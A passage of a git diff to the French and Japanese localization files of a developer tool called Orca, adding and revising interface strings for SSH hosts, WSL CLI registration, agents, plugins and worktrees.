+          "windowsPathTimedOut": "La commande PATH de Windows a expiré après {{ms}} ms.",
+          "wslCommandTimedOut": "La commande WSL a expiré après {{ms}} ms.",
+          "wslDistroUnreachable": "Impossible de joindre la distribution WSL. Réessayez.",
+          "wslHomeUnresolved": "Impossible de résoudre le répertoire personnel WSL.",
+          "wslInteropUnavailable": "L’interopérabilité WSL-Windows n’est pas disponible ; Orca ne peut pas lancer la CLI Windows depuis WSL.",
+          "wslRegistrationUnavailable": "L’enregistrement de la CLI WSL n’est pas disponible.",
+          "wslWindowsOnly": "L’enregistrement de la CLI WSL est disponible uniquement sous Windows."
+        }
+      },
+      "projectHostSetupOptions": {
+        "locationNotSet": "Emplacement du projet non défini"
+      },
+      "workspacePortScan": {
+        "serverSshUpdateRequired": "Mettez à jour le serveur pour voir les ports de ses hôtes SSH.",
+        "hostMismatch": "Le serveur a analysé un hôte différent de celui de cet espace de travail."
+      },
+      "executionHostFacts": {
+        "sshPlatformWithheld": "L’hôte SSH n’a pas encore indiqué son système d’exploitation. Connectez-vous à lui et réessayez.",
+        "runtimePlatformWithheld": "Le serveur Orca n’a pas encore indiqué son système d’exploitation. Reconnectez-vous et réessayez.",
+        "runtimePlatformUpdate": "Ce serveur Orca n’indique pas son système d’exploitation. Mettez-le à jour pour y lancer des agents.",
+        "hostUnresolvedWithheld": "Orca ne sait pas encore quel hôte possède cet espace de travail."
+      },
+      "workspacePortBrowserOpen": {
+        "systemBrowserHint": "{{shortcut}}+clic pour ouvrir dans le navigateur système",
+        "tooltip": "{{label}}. {{hint}}"
       }
     },
     "hooks": {
@@ -1694,7 +1770,8 @@
         "5f3d2c8a1b": "Échec de la résolution de la base de la MR.",
         "dropPartiallyAttached_one": "Impossible de joindre l'élément {{failureCount}} de {{count}}.",
         "dropPartiallyAttached_other": "Impossible de joindre {{failureCount}} des {{count}} éléments.",
-        "dropPartiallyAttached_many": "Impossible de joindre {{failureCount}} des {{count}} éléments."
+        "dropPartiallyAttached_many": "Impossible de joindre {{failureCount}} des {{count}} éléments.",
+        "dropPartiallyAttached": "Impossible de joindre {{failureCount}} des {{count}} éléments."
       },
       "useGlobalFileDrop": {
         "38c9f034ff": "Échec de l'envoi des fichiers déposés.",
@@ -1711,7 +1788,8 @@
         "nativeDropTempCopyFailed_other": "Orca n'a pas pu copier {{count}} fichiers déposés.",
         "nativeDropTempCopyFailed_many": "Orca n'a pas pu copier {{count}} fichiers déposés.",
         "hostMismatch": "Cet éditeur se trouve sur un autre hôte. Ouvrez le fichier depuis son espace de travail d'origine.",
-        "workspaceOpenFailed": "Impossible d'ouvrir {{fileName}}. Ouvrez-le depuis son espace de travail d'origine et réessayez."
+        "workspaceOpenFailed": "Impossible d'ouvrir {{fileName}}. Ouvrez-le depuis son espace de travail d'origine et réessayez.",
+        "nativeDropTempCopyFailed": "Orca n'a pas pu copier {{count}} fichiers déposés."
       },
       "useIpcEvents": {
         "0e3cf53060": "Onglet de navigateur {{value0}} introuvable",
@@ -2282,7 +2360,6 @@
         "23886c7eec": "Ajouter un label",
         "7f7b89b631": "Labels : {{value0}}",
         "b2376d0179": "Chargement des membres",
-        "866316f22c": "Non assigné",
         "b5675b0694": "Enregistrer",
         "ceeb8c6153": "Effacer",
         "fbb90300e2": "Estimation personnalisée",
@@ -3420,7 +3497,6 @@
               "f4c79cff5f": "Consultez l'erreur d'espace de travail ci-dessous, puis actualisez.",
               "ef90b21366": "Aucune vue trouvée",
               "c0a50f96a4": "Impossible de charger les vues",
-              "df4bd63c1d": "Non assigné",
               "30402d2c6e": "Essayez la recherche ou actualisez.",
               "a2f31c4cd6": "Aucun projet Linear trouvé",
               "c9b6e9f90d": "Impossible de charger les projets Linear",
@@ -5871,7 +5947,8 @@
           "changesLost_one": "{{count}} modification non commitée sera perdue",
           "changesLost_other": "{{count}} modifications non commitées seront perdues",
           "changesLost_many": "{{count}} modifications non commitées seront perdues",
-          "uncountedChangesLost": "Les modifications non commitées seront perdues"
+          "uncountedChangesLost": "Les modifications non commitées seront perdues",
+          "moreLoadedPaths": "et {{value0}} autres chemins chargés"
         },
         "DeleteWorktreeLineageNotice": {
           "a940f3c96e": "Les espaces de travail enfants seront supprimés",
@@ -6893,7 +6970,8 @@
           "sshImportSynced_one": "{{count}} hôte ajouté à Orca.",
           "sshImportSynced_other": "{{count}} hôtes ajoutés à Orca.",
           "sshImportSynced_many": "{{count}} hôtes ajoutés à Orca.",
-          "sshConfigPickerInvalidResponse": "Réponse d’hôte de configuration SSH invalide"
+          "sshConfigPickerInvalidResponse": "Réponse d’hôte de configuration SSH invalide",
+          "sshImportSynced": "Ajout de {{value0}} hôte{{value1}} à Orca."
         },
         "ForgetSshWorkspaceDialog": {
           "ghostBody": "{{host}} n'est plus un hôte SSH enregistré ; cet espace de travail n'est donc plus connecté à un hôte actif. Il ne peut être que retiré d'Orca — les fichiers et branches distants restent intacts.",
@@ -6959,7 +7037,12 @@
                 "43d9395605": "{{value0}} supprimées, {{value1}} non supprimées",
                 "d42f1f14e0_one": "Réessayer {{count}} branche",
                 "d42f1f14e0_other": "Réessayer {{count}} branches",
-                "d42f1f14e0_many": "Réessayer {{count}} branches"
+                "d42f1f14e0_many": "Réessayer {{count}} branches",
+                "0e0379f24a": "{{count}} branches conservées",
+                "6310412304": "Examiner {{count}} branches",
+                "a3cdd9d9e6": "Git a conservé {{count}} branches locales car elles peuvent contenir des commits non fusionnés. Les branches conservées ne gardent pas les dossiers des espaces de travail ; leurs commits restent dans le dépôt. Orca peut continuer à libérer de l'espace disque en arrière-plan.",
+                "cea24c2b7d": "{{count}} espaces de travail supprimés",
+                "d42f1f14e0": "Réessayer {{count}} branches"
               }
             }
           }
@@ -6974,7 +7057,8 @@
           "285e1e4882": "Annuler",
           "a0f9863597_one": "Forcer la suppression de {{count}} branche",
           "a0f9863597_other": "Forcer la suppression de {{count}} branches",
-          "a0f9863597_many": "Forcer la suppression de {{count}} branches"
+          "a0f9863597_many": "Forcer la suppression de {{count}} branches",
+          "a0f9863597": "Forcer la suppression de {{count}} branches"
         },
         "WorktreeListScrollToTopButton": {
           "jumpToTop": "Remonter en haut"
@@ -7092,13 +7176,13 @@
           "project": {
             "drop": {
               "669e12dd97": "Dossiers locaux et dépôts Git",
-              "e344666fb8": "Runtime du serveur actif",
+              "e344666fb8": "Runtime serveur actif",
               "18d3cf40e9": "Vérification du dossier",
               "wslFolderDescription": "Dossiers sous \\\\wsl.localhost",
-              "d0f8943f8b": "Préparation de l’ajout du projet",
+              "d0f8943f8b": "Préparation du flux d'ajout de projet",
               "ffc769ca29": "Déposez un dossier pour ajouter un projet",
-              "wslFolder": "Déposez un dossier WSL pour ajouter un projet",
-              "740e8d0d46": "Utiliser Ajouter un projet pour les chemins d'hôte"
+              "wslFolder": "Déposez un dossier WSL pour ajouter le projet",
+              "740e8d0d46": "Utilisez « Ajouter un projet » pour les chemins d'hôte"
             }
           }
         },
@@ -7176,6 +7260,19 @@
           "needsInput": "Intervention requise",
           "running": "En cours",
           "idle": "Inactif"
+        },
+        "hostSection": {
+          "localWindows": "Windows local",
+          "localMac": "Mac local",
+          "localLinux": "Linux local",
+          "thisComputer": "Cet ordinateur",
+          "host": "Hôte"
+        },
+        "workspaceBoardStatus": {
+          "todo": "À faire",
+          "inProgress": "En cours",
+          "inReview": "En revue",
+          "done": "Terminé"
         }
       },
       "shared": {
@@ -7242,6 +7339,21 @@
         }
       },
       "settings": {
+        "keep": {
+          "local": {
+            "main": {
+              "up": {
+                "to": {
+                  "date": {
+                    "setting": {
+                      "f4c23aee76": "Garder la branche main locale à jour"
+                    }
+                  }
+                }
+              }
+            }
+          }
+        },
         "AccountsPane": {
           "locationSaveFailed": "Impossible d’enregistrer l’emplacement des comptes. Réessayez.",
           "dbb9626ed1": "Annuler",
@@ -7467,7 +7579,6 @@
           "5f5142a62a": "Icône précédente"
         },
         "AppearancePane": {
-          "3057983501": "Non assigné",
           "b707773a0d": "Quand activé, fermer la fenêtre laisse Orca tourner dans la zone de notification au lieu de quitter.",
           "0cd9b8228f": "Choisissez l'icône d'app affichée dans le Dock et le sélecteur de fenêtres.",
           "61d842eca0": "Afficher le raccourci Orca Mobile dans la barre latérale. Il reste accessible depuis la Toolbox.",
@@ -7595,6 +7706,9 @@
           "333984cf90": "Utiliser une session de navigateur existante",
           "9895ed44de": "Ouvrir Computer Use"
         },
+        "BrowserUseEnableSwitch": {
+          "ce4d6f80d8": "Activer Agent Browser Use"
+        },
         "BrowserUseExamples": {
           "1199258ace": "Copier",
           "1188e56af4": "Copier l'exemple de prompt",
@@ -7835,10 +7949,6 @@
             "modeAriaLabel": "Mode d'ouverture du tableau de bord des agents",
             "modeInWindow": "Dans la fenêtre",
             "modePopout": "Fenêtre indépendante"
-          },
-          "browserExtensions": {
-            "copy": "Ajoute Paramètres › Navigateur › Extensions pour les profils de navigateur locaux.",
-            "toggleLabel": "Activer ou désactiver les extensions de navigateur"
           }
         },
         "FloatingWorkspacePane": {
@@ -8600,6 +8710,9 @@
           "d32b87e754": "Utiliser le template de review quand disponible",
           "981eae7e14": "Brouillon par défaut"
         },
+        "RepositorySourceControlAiSection": {
+          "112f3b934f": "IA du contrôle de code source"
+        },
         "RuntimeAccessGrantList": {
           "sshAccessCaveat": "Révoquer l'accès ici n'empêche pas une personne ayant un accès SSH à cet ordinateur de s'associer de nouveau. Pour la bloquer, retirez son accès SSH.",
           "6f6d5188ed": "Révoquer {{value0}}",
@@ -10002,13 +10115,6 @@
               "inWindow": "dans la fenêtre",
               "worktrees": "arbres de travail",
               "eaf17a7214": "Tableau de bord des agents"
-            },
-            "browserExtensions": {
-              "title": "Extensions de navigateur",
-              "description": "Exécutez des extensions Chrome, comme des gestionnaires de mots de passe, dans les onglets du navigateur Orca.",
-              "extension": "extension",
-              "chrome": "chrome",
-              "password": "gestionnaire de mots de passe"
             }
           }
         },
@@ -11175,7 +11281,7 @@
         },
         "agent-workspace-trust-copy": {
           "title": "Faire confiance au dossier quand Orca lance un agent",
-          "description": "Les agents lancés par Orca peuvent ignorer leur question « Do you trust this folder? » : les hooks et paramètres d'agent du projet s'exécutent donc tout de suite. Orca pose la question une fois par dépôt, la première fois que vous y lancez un agent, et vous pouvez modifier la réponse dans les paramètres de ce dépôt. Désactivez cette option pour que les agents posent toujours la question. Un agent qui pose la question alors qu'il tourne sans que vous le surveilliez, comme un worker d'orchestration, une automatisation ou un agent lancé depuis votre téléphone, attend que vous répondiez dans son terminal. Les dossiers déjà approuvés le restent."
+          "description": "Les agents lancés par Orca peuvent ignorer leur question « Do you trust this folder? » : les hooks et paramètres d'agent du projet s'exécutent donc tout de suite. Vous pouvez désactiver cette option pour un dépôt dans les paramètres de ce dépôt. Désactivez cette option pour que les agents posent toujours la question. Un agent qui pose la question alors qu'il tourne sans que vous le surveilliez, comme un worker d'orchestration, une automatisation ou un agent lancé depuis votre téléphone, attend que vous répondiez dans son terminal. Les dossiers déjà approuvés le restent."
         },
         "agent-generated-tab-title-copy": {
           "19ad21615a": "Générer automatiquement les titres des onglets",
@@ -11772,7 +11878,7 @@
           },
           "decisionFailed": "Impossible d'enregistrer la décision d'autorisation. Réessayez.",
           "fullAccessWarning": "Accès complet : s’exécute comme un programme normal et peut lire vos fichiers, utiliser le réseau, lancer d’autres programmes et contrôler Orca, y compris vos terminaux et vos agents.",
-          "uiWarning": "Exécute le code de l’éditeur dans Orca pour afficher sa vue. Orca indique ce à quoi il peut accéder et demande avant de l’activer."
+          "uiWarning": "Exécute le code de l’éditeur dans Orca pour dessiner sa vue. Orca indique à quoi il peut accéder et demande avant de l’activer."
         },
         "PluginConsentProvenance": {
           "official": "Officiel",
@@ -12635,7 +12741,9 @@
           "automationsLeftDisabled_other": "Le serveur Orca de cet hôte a repris {{count}} automatisations mais n'a pas pu les réactiver. Activez-les dans Automatisations.",
           "automationsLeftDisabled_many": "Le serveur Orca de cet hôte a repris {{count}} automatisations mais n'a pas pu les réactiver. Activez-les dans Automatisations.",
           "windowsBuildUnsupported": "Cet hôte exécute une version de Windows antérieure à Windows 10 et Windows Server 2016 ; il ne peut donc pas exécuter le serveur d’Orca. Utilisez un hôte avec une version plus récente de Windows, ou un hôte Linux ou macOS.",
-          "windowsNoExtractor": "Cet hôte Windows ne dispose ni de tar.exe ni de la commande Expand-Archive de PowerShell ; Orca ne peut donc pas y décompresser son serveur. Installez Windows PowerShell 5.1 sur l’hôte, puis reconnectez-vous."
+          "windowsNoExtractor": "Cet hôte Windows ne dispose ni de tar.exe ni de la commande Expand-Archive de PowerShell ; Orca ne peut donc pas y décompresser son serveur. Installez Windows PowerShell 5.1 sur l’hôte, puis reconnectez-vous.",
+          "linkedProjects": "Le serveur Orca de cet hôte avait déjà {{paths}} ; ce bureau utilise donc maintenant la copie du serveur. Les onglets de ce bureau et {{count}} automatisations à cet endroit n’ont pas été déplacés, et les worktrees qu’il y a créés apparaissent comme worktrees externes.",
+          "olderTerminals": "{{count}} terminaux lancés par une version antérieure d’Orca sont toujours en cours d’exécution sur cet hôte et ne s’arrêtent pas d’eux-mêmes. Fermez-les dans cette version d’Orca ou arrêtez-les sur l’hôte, puis reconnectez-vous."
         },
         "deltaMove": {
           "action": "Déplacer les nouveaux projets…",
@@ -12774,7 +12882,7 @@
         "SshRestoreRemovedHosts": {
           "title": "Restaurer les hôtes supprimés ?",
           "description": "Les hôtes de ~/.ssh/config supprimés dans Orca réapparaissent dans les réglages et dans tous les sélecteurs d’hôte.",
-          "none": "Aucun hôte de ~/.ssh/config supprimé dans Orca n’est disponible pour la restauration.",
+          "none": "Aucun hôte de ~/.ssh/config supprimé.",
           "confirm": "Restaurer"
         },
         "SshTargetList": {
@@ -13057,7 +13165,7 @@
           "commands": "Commandes et panneaux",
           "catalogLabel": "Filtrer par catalogue",
           "editors": "Éditeurs",
-          "remoteVms": "Distant/VM",
+          "remoteVms": "Distants/VM",
           "games": "Jeux",
           "agents": "Agents",
           "integrations": "Intégrations"
@@ -13115,7 +13223,7 @@
           "replacesShortcut": "{{value0}} ({{value1}}) remplace votre raccourci pour {{value2}}.",
           "updatesKeepApproval": "Les mises à jour ne redemandent que pour un nouvel accès",
           "fullAccessUpdates": "Les mises à jour peuvent modifier son code sans demander",
-          "editsFileTypes": "Ouvre et modifie les fichiers {{value0}} dans Orca. Il peut lire les fichiers qu’il ouvre.",
+          "editsFileTypes": "Ouvre et modifie des fichiers {{value0}} dans Orca. Il peut lire les fichiers qu’il ouvre.",
           "install": "Installer et activer",
           "keepOff": "Laisser désactivé"
         },
@@ -13217,7 +13325,7 @@
           "fullAccess": "Accès complet",
           "addsVmRecipes": "Ajoute des recettes de VM",
           "opensAndEditsFiles": "Ouvre et modifie des fichiers",
-          "runsPluginCode": "Exécute du code de plugin"
+          "runsPluginCode": "Exécute le code du plugin"
         },
         "pluginTryAction": {
           "incompleteLanguage": "Ce pack de langue est trop incomplet pour l’utiliser."
@@ -13252,7 +13360,7 @@
         },
         "PluginPageHero": {
           "screenshots": "Captures d’écran",
-          "openScreenshot": "Ouvrir la capture d’écran : {{value0}}",
+          "openScreenshot": "Ouvrir la capture : {{value0}}",
           "position": "{{value0}} sur {{value1}}",
           "previous": "Capture précédente",
           "next": "Capture suivante"
@@ -13282,27 +13390,6 @@
           "shownPluginCount_other": "{{count}} plugins correspondants affichés, dont celui-ci",
           "samePublisher": "Autres éléments répertoriés sous {{value0}}",
           "shownPluginCount_many": "{{count}} plugins correspondants affichés, dont celui-ci"
-        },
-        "RepositorySourceControlAiSection": {
-          "112f3b934f": "IA du contrôle de code source"
-        },
-        "keep": {
-          "local": {
-            "main": {
-              "up": {
-                "to": {
-                  "date": {
-                    "setting": {
-                      "f4c23aee76": "Garder la branche main locale à jour"
-                    }
-                  }
-                }
-              }
-            }
-          }
-        },
-        "BrowserUseEnableSwitch": {
-          "ce4d6f80d8": "Activer Agent Browser Use"
         }
       },
       "right": {
@@ -14983,7 +15070,8 @@
           "showMoreAgents_one": "Afficher {{count}} agent de plus →",
           "showMoreAgents_other": "Afficher {{count}} agents de plus →",
           "showMoreAgents_many": "Afficher {{count}} agents de plus →",
-          "agentNotOnPath": "<agent>{{agent}}</agent> n'est pas encore dans votre PATH. Orca en fera votre agent par défaut et vous pourrez l'installer à tout moment."
+          "agentNotOnPath": "<agent>{{agent}}</agent> n'est pas encore dans votre PATH. Orca en fera votre agent par défaut et vous pourrez l'installer à tout moment.",
+          "showMoreAgents": "Afficher {{value0}} autres agents →"
         },
         "IntegrationsStep": {
           "277f30eb34": "Linear, GitLab, Bitbucket, Azure DevOps, Gitea et Jira se trouvent dans Paramètres > Intégrations.",
@@ -16049,7 +16137,8 @@
           "showAiNotes_many": "Afficher {{count}} notes IA",
           "send": "Envoyer",
           "openDiff": "Ouvrir le diff",
-          "openInEditor": "Ouvrir dans l'éditeur"
+          "openInEditor": "Ouvrir dans l'éditeur",
+          "skippedConflictsExcluded": "Les conflits non résolus {{count}} ont été exclus de cette vue différentielle."
         },
         "ConflictComponents": {
           "f338288514": "Chargement du contenu des conflits...",
@@ -18059,7 +18148,7 @@
           "b29191b3e0": "Worktree",
           "8c3b621ddf": "Projet",
           "4a3986b200": "Statut",
-          "770d458144": "Grouper par",
+          "770d458144": "Grouper l'activité des agents par",
           "groupAgentActivityBy": "Grouper l'activité des agents par",
           "795cbf26e2": "Filtrer...",
           "4616ea39fd": "Aller à l'espace de travail",
@@ -18148,7 +18237,10 @@
           "markManyUnread_many": "Marquer {{count}} agents comme non lus",
           "clearMany_one": "Retirer {{count}} agent de la liste",
           "clearMany_other": "Retirer {{count}} agents de la liste",
-          "clearMany_many": "Retirer {{count}} agents de la liste"
+          "clearMany_many": "Retirer {{count}} agents de la liste",
+          "clearMany": "Retirer {{count}} agents de la liste",
+          "markManyRead": "Marquer {{count}} agents comme lus",
+          "markManyUnread": "Marquer {{count}} agents comme non lus"
         }
       },
       "confirmation": {
@@ -18319,7 +18411,8 @@
               "chooseSource": "Choisir la source des tâches",
               "hostCount_one": "{{count}} hôte",
               "hostCount_other": "{{count}} hôtes",
-              "hostCount_many": "{{count}} hôtes"
+              "hostCount_many": "{{count}} hôtes",
+              "hostCount": "{{value0}} hôtes"
             }
           }
         },
@@ -18440,7 +18533,6 @@
         "status": "Statut",
         "priority": "Priorité",
         "assignee": "Assigné",
-        "unassigned": "Non assigné",
         "labels": "Étiquettes",
         "countSelected": "{{count}} sélectionnés",
         "selected": "sélectionnés",
@@ -18499,7 +18591,7 @@
           "searchPlaceholder": "Rechercher des plugins",
           "updates": "Mises à jour",
           "clearSearch": "Effacer la recherche",
-          "notInstalled": "Non installés"
+          "notInstalled": "Non installé"
         },
         "PluginListGroup": {
           "showAll": "Afficher {{value0}} de plus",
@@ -18535,7 +18627,9 @@
         "failingChip": "{{value0}} en échec",
         "pendingChip": "{{value0}} en attente",
         "needsActionChip": "{{value0}} action requise",
-        "unresolvedChip": "{{value0}} non résolus"
+        "unresolvedChip": "{{value0}} non résolus",
+        "noChecks": "Aucune vérification trouvée",
+        "passingSummary": "{{value0}} vérifications sur {{value1}} réussies"
       },
       "BrowserPane": {
         "streamConnectionLost": "Connexion au serveur distant perdue.",
@@ -19020,14 +19114,10 @@
         }
       },
       "agent-workspace-trust-decision": {
-        "prompt-title": "Faire confiance à {{repo}} pour les agents ?",
-        "prompt-description": "Les agents comme Claude Code et Codex demandent « Do you trust this folder? » avant de charger les paramètres et hooks d'agent propres au projet, qui peuvent exécuter des commandes. Orca peut répondre oui à votre place dans chaque worktree de ce dépôt.",
-        "prompt-remembered": "Orca mémorise votre réponse pour ce dépôt. Vous pouvez la modifier dans les paramètres du dépôt.",
         "trust-repository": "Faire confiance au dépôt",
         "let-agents-ask": "Laisser les agents demander",
         "setting-title": "Confiance des dossiers pour les agents",
         "setting-description": "Indique si les agents lancés par Orca dans les worktrees de ce dépôt ignorent leur question « Do you trust this folder? » et chargent tout de suite les paramètres et hooks d'agent du projet.",
-        "setting-undecided": "Pas encore décidé. Orca posera la question la prochaine fois que vous lancerez un agent ici.",
         "setting-global-off": "La confiance des dossiers est désactivée dans les paramètres Agents : les agents posent donc toujours la question.",
         "keyword-trust": "confiance",
         "keyword-hooks": "hooks"
@@ -19084,6 +19174,12 @@
       },
       "runtimeGitWorkingTreeClient": {
         "resolveConflictNeedsNewerHost": "Pour résoudre les conflits, une version plus récente d’Orca est nécessaire sur cet hôte. Mettez Orca à jour sur cet hôte."
+      },
+      "remoteTerminal": {
+        "connectionClosed": "La connexion à l’environnement distant est fermée.",
+        "streamClosed": "Le flux du terminal distant est fermé.",
+        "streamEnded": "Le flux du terminal distant est terminé.",
+        "streamStopped": "Le flux du terminal distant ne répond plus."
       }
     },
     "ssh": {
@@ -19720,7 +19816,8 @@
         "showAll": "Liste complète des tâches",
         "progress_one": "Tâches terminées : {{completed}} sur {{count}}",
         "progress_other": "Tâches terminées : {{completed}} sur {{count}}",
-        "progress_many": "Tâches terminées : {{completed}} sur {{count}}"
+        "progress_many": "Tâches terminées : {{completed}} sur {{count}}",
+        "progress": "{{completed}} sur {{total}} tâches terminées"
       },
       "turnDiff": {
         "partial": "Différence partielle",
@@ -19836,6 +19933,14 @@
         "stateUnverifiableCount_one": "{{value0}} au statut indisponible",
         "stateUnverifiableCount_other": "{{value0}} au statut indisponible",
         "stateUnverifiableCount_many": "{{value0}} au statut indisponible",
+        "headerTotal": "{{value0}} tâches en arrière-plan",
+        "stateBlockedCount": "{{value0}} à l'état bloqué",
+        "stateDoneCount": "{{value0}} à l'état terminé",
+        "stateIdleCount": "{{value0}} à l'état arrêté",
+        "stateMonitoringCount": "{{value0}} en surveillance",
+        "stateUnverifiableCount": "{{value0}} au statut indisponible",
+        "stateWaitingCount": "{{value0}} en attente",
+        "stateWorkingCount": "{{value0}} en cours",
         "showAgent": "Afficher {{value0}} dans la conversation"
       },
       "railLabel": "Vos messages",
@@ -19847,7 +19952,8 @@
         "asked": "Demandé:",
         "questionCount_one": "{{count}} question",
         "questionCount_other": "{{count}} questions",
-        "questionCount_many": "{{count}} questions"
+        "questionCount_many": "{{count}} questions",
+        "questionCount": "{{value0}} questions"
       },
       "subagents": {
         "state": {
@@ -19871,7 +19977,12 @@
           "stoppedCount_many": "{{count}} arrêtés",
           "unverifiableCount_one": "{{count}} au statut indisponible",
           "unverifiableCount_other": "{{count}} au statut indisponible",
-          "unverifiableCount_many": "{{count}} au statut indisponible"
+          "unverifiableCount_many": "{{count}} au statut indisponible",
+          "failedCount": "{{value0}} a échoué",
+          "idleCount": "{{value0}} inactif",
+          "stoppedCount": "{{value0}} arrêté",
+          "unverifiableCount": "{{value0}} au statut indisponible",
+          "workingCount": "{{value0}} fonctionne"
         },
         "tokens": "{{value0}} tokens",
         "unnamed": "Sous-agent",
@@ -19981,12 +20092,13 @@
         "clearAll": "Tout effacer",
         "moveChanged": "La file d'attente a changé avant ce déplacement. Essayez de faire glisser le message à nouveau.",
         "reorderHint": "Faites glisser pour réorganiser, ou utilisez les touches fléchées Haut et Bas.",
-        "reorderMessage": "Réorganiser le message"
+        "reorderMessage": "Réorganiser le message",
+        "imageCount": "{{count}} images"
       },
       "thought": "A réfléchi",
       "thoughtForDuration": "A réfléchi pendant {{duration}}",
       "structuredSessionHostDeclined": "{{value0}} ouvert dans un terminal",
-      "structuredSessionHostDeclinedDescription": "Cet espace de travail ne peut pas exécuter de discussion {{value0}}.",
+      "structuredSessionHostDeclinedDescription": "Ce serveur ne peut pas exécuter de discussion {{value0}} dans cet espace de travail.",
       "structuredSessionHostUnreachable": "Impossible de joindre {{value0}}",
       "structuredSessionHostUnreachableDescription": "Orca n'a pas ouvert de discussion {{value0}}. Vérifiez la connexion au serveur et réessayez.",
       "hostOutage": {
@@ -21061,6 +21173,10 @@
     },
     "dictation": {
       "stoppedAfterSilenceSeconds": "Arrêté après {{seconds}} secondes de silence"
+    },
+    "toastFallbacks": {
+      "worktreeCreateFailed": "Impossible de créer l’arbre de travail.",
+      "missingBaseBranchHelp": "Créez un premier commit (par exemple sur main), ou sélectionnez une branche existante dans « Créer à partir de », puis réessayez."
     }
   },
   "dashboardPopout": {
@@ -22271,7 +22387,10 @@
       "reopened_many": "{{count}} terminaux réouverts",
       "resumed_one": "{{count}} session d'agent reprise.",
       "resumed_other": "{{count}} sessions d'agent reprises.",
-      "resumed_many": "{{count}} sessions d'agent reprises."
+      "resumed_many": "{{count}} sessions d'agent reprises.",
+      "reopenTerminal": "Réouvrir {{count}} terminaux",
+      "reopened": "{{count}} terminaux réouverts",
+      "resumed": "{{count}} sessions d'agent reprises."
     },
     "severedDaemonBanner": {
       "unknownCount": "ses terminaux en cours d'exécution",
@@ -22289,7 +22408,8 @@
       "confirm": "Redémarrer et arrêter les processus",
       "count_other": "{{count}} terminaux en cours d'exécution",
       "count_many": "{{count}} terminaux en cours d'exécution",
-      "count_one": "{{count}} terminal en cours d’exécution"
+      "count_one": "{{count}} terminal en cours d’exécution",
+      "count": "{{count}} terminaux en cours d'exécution"
     },
     "restartedInputNotSent": "Le terminal a redémarré pendant votre saisie, une partie ne lui est peut-être pas parvenue. Vérifiez le nouveau shell avant de la saisir à nouveau.",
     "typingBeforeStartNotSent": "Certaines touches saisies pendant le démarrage du terminal n'ont pas été envoyées.",
diff --git a/src/renderer/src/i18n/locales/ja.json b/src/renderer/src/i18n/locales/ja.json
index 6d0e225625c..19c24947ca0 100644
--- a/src/renderer/src/i18n/locales/ja.json
+++ b/src/renderer/src/i18n/locales/ja.json
@@ -51,7 +51,7 @@
       },
       "permissionsAgentsLink": "設定 → Agent",
       "permissionsTitle": "新しいチャットの権限",
-      "permissionsDescription": "新しいチャットにのみ適用されます。Agentごとのデフォルト設定は、設定 → Agent にあります。",
+      "permissionsDescription": "新しいチャットにのみ適用されます。ターミナルで開くAgentには、設定 → Agent → Agentの権限が適用されます。",
       "description": "チャットの外観と動作を選びます。",
       "names": {
         "title": "チャット名",
@@ -209,6 +209,21 @@
         "terminalControlledTooltip": "ターミナルの外観に合わせています。変更するには「ターミナルの外観に合わせる」をオフにしてください。",
         "fontKeywordTypeface": "書体",
         "fontKeywordTypography": "タイポグラフィ"
+      },
+      "editorTheme": {
+        "light": "エディターのライトテーマ",
+        "lightDescription": "アプリがライトテーマのときのコードエディター、差分、ノートブックの色。",
+        "dark": "エディターのダークテーマ",
+        "darkDescription": "アプリがダークテーマのときのコードエディター、差分、ノートブックの色。",
+        "followApp": "アプリのテーマに合わせる",
+        "title": "エディターのテーマ",
+        "description": "アプリのテーマとは別に、コードエディター、差分、ノートブックの色を設定します。",
+        "keyword": {
+          "editor": "エディター",
+          "code": "コード",
+          "monaco": "monaco",
+          "syntax": "構文"
+        }
       }
     },
     "browser": {
@@ -409,6 +424,7 @@
       "defaultSurfaceSetAllChat": "すべてチャットにする",
       "defaultSurfaceSetAllTerminal": "すべてターミナルにする",
       "sameAsChoice": "{{agent}} と同じ · {{choice}}",
+      "modelListFallback": "組み込みのリストです。Orca はこのホストからモデル一覧を取得できませんでした。",
       "chatUnavailableOnWindows": "{{value0}} Chat はまだ Windows では利用できないため、このホストでは {{value0}} がターミナルで開きます。macOS または Linux ホストでのチャットは引き続き利用できます。",
       "undetectedCommandHint": "{{agent}} CLI が PATH 以外にインストールされている場合、このホスト上の実行ファイルのフルパスを入力してください。"
     },
@@ -1433,6 +1449,39 @@
         "title": "Windows ドライブ上のフォルダーはこのコンピューターで追加してください",
         "descriptionWithPath": "{{value0}} は Windows ドライブ上にあります。WSL の Git はそこで誤った改行コードの変更を報告し、Windows から行った編集を見逃し、検索も遅くなります。",
         "description": "このフォルダーは Windows ドライブ上にあります。WSL の Git はそこで誤った改行コードの変更を報告し、Windows から行った編集を見逃し、検索も遅くなります。"
+      },
+      "cli": {
+        "detail": {
+          "registerForWsl": "WSL から Orca を使用するには {{path}} を登録してください。",
+          "registerForTerminal": "ターミナルから Orca を使用するには {{path}} を登録してください。",
+          "registerForWindowsShell": "コマンド プロンプトまたは PowerShell から Orca を使用するには {{path}} を登録してください。",
+          "devLauncherOnly": "開発モードでは検証専用の生成されたランチャーを使用します。",
+          "differentLauncher": "{{path}} は別のランチャーを指しています。",
+          "launcherMissing": "この Orca ビルドには同梱の CLI ランチャーがありません。",
+          "noWslDistro": "利用可能な WSL ディストリビューションがありません。",
+          "notOrcaLauncherScript": "{{path}} は存在しますが、Orca のランチャー スクリプトではありません。",
+          "notOrcaSymlink": "{{path}} は存在しますが、Orca のシンボリックリンクではありません。",
+          "olderLauncher": "{{path}} には古い Orca ランチャーが含まれています。",
+          "platformUnsupported": "このプラットフォームでは CLI の登録が実装されていません。",
+          "readlinkPermissionDenied": "Orca には {{path}} を確認する権限がありません。パスとその親ディレクトリの権限を確認してから、もう一度お試しください。",
+          "registeredAt": "{{path}} に登録済みです。",
+          "registeredInDistroAt": "{{distro}} の {{path}} に登録済みです。",
+          "registrationUnavailable": "このビルドでは CLI の登録を利用できません。",
+          "unreadableSymlink": "{{path}} を読み取れません。再登録して修復してください。",
+          "windowsLauncherMissing": "Windows 版 Orca CLI ランチャーがありません。",
+          "windowsPathCheckFailed": "Orca ランチャーは存在しますが、Orca は Windows ユーザー PATH を確認できませんでした。",
+          "windowsPathTimedOut": "Windows PATH コマンドが {{ms}} ミリ秒後にタイムアウトしました。",
+          "wslCommandTimedOut": "WSL コマンドが {{ms}} ミリ秒後にタイムアウトしました。",
+          "wslDistroUnreachable": "WSL ディストリビューションに接続できませんでした。もう一度お試しください。",
+          "wslHomeUnresolved": "WSL のホーム ディレクトリを解決できません。",
+          "wslInteropUnavailable": "WSL の Windows 相互運用が利用できないため、Orca は WSL から Windows CLI を起動できません。",
